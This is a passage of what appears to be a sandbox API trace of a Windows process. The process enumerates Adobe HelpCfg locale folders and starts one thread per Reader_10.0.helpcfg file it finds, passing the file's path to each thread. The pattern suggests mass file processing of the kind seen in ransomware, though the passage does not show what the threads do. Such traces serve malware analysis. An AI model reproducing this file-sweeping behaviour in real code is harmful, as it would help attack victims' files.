ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.966] wcscmp (_String1="..", _String2=".") returned 1 [0135.966] wcscmp (_String1="..", _String2="..") returned 0 [0135.967] FindNextFileW (in: hFindFile=0x1ced5860, lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.967] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.967] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20505af0 [0135.967] wcscpy (in: _Dest=0x20505af0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" [0135.967] wcscat (in: _Dest=0x20505af0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\" [0135.967] wcscat (in: _Dest=0x20505af0, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\Reader_10.0.helpcfg" [0151.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cfc [0151.009] FindNextFileW (in: hFindFile=0x1ced5860, lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.009] FindClose (in: hFindFile=0x1ced5860 | out: hFindFile=0x1ced5860) returned 1 [0151.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce582a0) returned 1 [0151.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420600b0) returned 1 [0151.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 Thread: id = 1959 os_tid = 0x116c [0135.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42060130 [0135.969] wcscpy (in: _Dest=0x42060130, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" [0135.969] wcscat (in: _Dest=0x42060130, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\" [0135.969] wcscat (in: _Dest=0x42060130, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\*" [0135.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56f20 [0135.969] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\*", lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced58c0 [0135.969] wcscmp (_String1=".", _String2=".") returned 0 [0135.969] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.969] wcscmp (_String1="..", _String2=".") returned 1 [0135.969] wcscmp (_String1="..", _String2="..") returned 0 [0135.970] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.970] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.970] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20505b90 [0135.970] wcscpy (in: _Dest=0x20505b90, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" [0135.970] wcscat (in: _Dest=0x20505b90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\" [0135.970] wcscat (in: _Dest=0x20505b90, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\Reader_10.0.helpcfg" [0151.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d00 [0151.012] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.012] FindClose (in: hFindFile=0x1ced58c0 | out: hFindFile=0x1ced58c0) returned 1 [0151.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56f20) returned 1 [0151.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060130) returned 1 [0151.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 Thread: id = 1960 os_tid = 0x1170 [0135.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x420601b0 [0135.972] wcscpy (in: _Dest=0x420601b0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" [0135.972] wcscat (in: _Dest=0x420601b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\" [0135.972] wcscat (in: _Dest=0x420601b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\*" [0135.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd991e0 [0135.972] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\*", lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5a40 [0135.972] wcscmp (_String1=".", _String2=".") returned 0 [0135.972] FindNextFileW (in: hFindFile=0x1ced5a40, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.972] wcscmp (_String1="..", _String2=".") returned 1 [0135.972] wcscmp (_String1="..", _String2="..") returned 0 [0135.973] FindNextFileW (in: hFindFile=0x1ced5a40, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.973] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.973] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20505c30 [0135.973] wcscpy (in: _Dest=0x20505c30, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" [0135.973] wcscat (in: _Dest=0x20505c30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\" [0135.973] wcscat (in: _Dest=0x20505c30, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\Reader_10.0.helpcfg" [0151.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d04 [0151.014] FindNextFileW (in: hFindFile=0x1ced5a40, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.014] FindClose (in: hFindFile=0x1ced5a40 | out: hFindFile=0x1ced5a40) returned 1 [0151.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd991e0) returned 1 [0151.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420601b0) returned 1 [0151.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 Thread: id = 1961 os_tid = 0x1174 [0135.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42060230 [0135.975] wcscpy (in: _Dest=0x42060230, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" [0135.975] wcscat (in: _Dest=0x42060230, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\" [0135.975] wcscat (in: _Dest=0x42060230, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\*" [0135.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99450 [0135.975] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\*", lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5aa0 [0135.975] wcscmp (_String1=".", _String2=".") returned 0 [0135.975] FindNextFileW (in: hFindFile=0x1ced5aa0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.975] wcscmp (_String1="..", _String2=".") returned 1 [0135.975] wcscmp (_String1="..", _String2="..") returned 0 [0135.975] FindNextFileW (in: hFindFile=0x1ced5aa0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.975] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.975] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20505cd0 [0135.976] wcscpy (in: _Dest=0x20505cd0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" [0135.976] wcscat (in: _Dest=0x20505cd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\" [0135.976] wcscat (in: _Dest=0x20505cd0, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\Reader_10.0.helpcfg" [0151.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d08 [0151.017] FindNextFileW (in: hFindFile=0x1ced5aa0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.017] FindClose (in: hFindFile=0x1ced5aa0 | out: hFindFile=0x1ced5aa0) returned 1 [0151.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99450) returned 1 [0151.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060230) returned 1 [0151.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 Thread: id = 1962 os_tid = 0x1178 [0135.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x420602b0 [0135.979] wcscpy (in: _Dest=0x420602b0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" [0135.979] wcscat (in: _Dest=0x420602b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\" [0135.979] wcscat (in: _Dest=0x420602b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\*" [0135.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98f70 [0135.980] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\*", lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5b00 [0135.980] wcscmp (_String1=".", _String2=".") returned 0 [0135.980] FindNextFileW (in: hFindFile=0x1ced5b00, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.980] wcscmp (_String1="..", _String2=".") returned 1 [0135.980] wcscmp (_String1="..", _String2="..") returned 0 [0135.980] FindNextFileW (in: hFindFile=0x1ced5b00, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.980] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.980] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20505d70 [0135.981] wcscpy (in: _Dest=0x20505d70, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" [0135.981] wcscat (in: _Dest=0x20505d70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\" [0135.981] wcscat (in: _Dest=0x20505d70, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\Reader_10.0.helpcfg" [0151.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0c [0151.019] FindNextFileW (in: hFindFile=0x1ced5b00, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.019] FindClose (in: hFindFile=0x1ced5b00 | out: hFindFile=0x1ced5b00) returned 1 [0151.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98f70) returned 1 [0151.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420602b0) returned 1 [0151.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868440) returned 1 Thread: id = 1963 os_tid = 0x117c [0136.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42060330 [0136.000] wcscpy (in: _Dest=0x42060330, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" [0136.000] wcscat (in: _Dest=0x42060330, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\" [0136.000] wcscat (in: _Dest=0x42060330, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\*" [0136.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd985b0 [0136.001] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\*", lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5b60 [0136.007] wcscmp (_String1=".", _String2=".") returned 0 [0136.007] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.007] wcscmp (_String1="..", _String2=".") returned 1 [0136.007] wcscmp (_String1="..", _String2="..") returned 0 [0136.007] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, 